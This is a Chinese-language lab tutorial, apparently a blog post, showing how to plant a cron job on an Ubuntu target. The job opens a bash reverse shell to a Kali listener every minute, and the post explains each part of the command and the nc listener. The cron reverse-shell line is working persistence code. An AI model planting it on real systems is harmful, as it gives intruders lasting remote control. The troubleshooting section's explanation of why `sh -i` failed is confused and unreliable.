目录
实验环境
实验步骤
目标主机构造任务计划
构造语句
语句解释
kali开启监听
监听成功
问题
原因
实验环境
攻击者
操作系统:kali
IP:192.168.244.141
目标主机
操作系统:ubuntu
IP:192.168.244.151
实验步骤
目标主机构造任务计划

构造语句
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'
语句解释
* * * * *:这是 Cron 的时间表达式,表示这个命令将每分钟执行一次。具体含义是分别对应分钟、小时、天、月、星期几,这里都是 *,表示每个可能的值,即每分钟执行一次。
/bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1':这是要在 Cron 任务中执行的命令。
/bin/bash -c:这个部分指定要执行的命令是用 Bash 解释执行。
'sh -i >& /dev/tcp/{ip}/{port} 0>&1':这是 Bash 命令本身,由单引号包围以确保整个命令被视为一个参数传递给 -c 选项。
0>&1:将标准输入重定向到标准输出,确保输入输出的正常运行
>& /dev/tcp/{ip}/{port}:
/dev/tcp/{ip}/{port} 是 Bash 的特殊构造,用于在 Bash 中通过 TCP 连接实现网络通信。/dev/tcp 是一个虚拟的目录,Bash 会将其解释为通过 TCP 连接进行数据传输。{ip} 和 {port} 分别应该替换为实际的目标 IP 地址和端口号。
>& 表示将标准输出和标准错误重定向到指定位置。
sh -i:启动一个交互式的 Shell,这里使用 sh 是因为在某些系统上,sh 可能是 bash 的符号链接。
kali开启监听

nc:是 netcat 命令的缩写,是一个网络工具,可以用来读取和写入网络连接中的数据。
-l:表示 netcat 进入监听模式,即等待来自客户端的连接请求。
-p:后面接端口号,表示要监听的端口号。例如,nc -lp 1234 就是在本地监听 1234 端口
监听成功

问题
当反弹语句为中启动交互shell时是sh -i这个如下列代码,监听会失败的
* * * * * /bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'
原因
在某些操作系统中,sh可能被符号链接到bash,这意味着虽然你使用的是sh命令,实际上执行的是bash解释器。sh通常是指shell的默认符号链接,它可以指向系统中安装的任何shell(如bash、dash等)。所以再ubuntu使用sh反弹shell时没有成功,但是使用bash反弹shell成功了。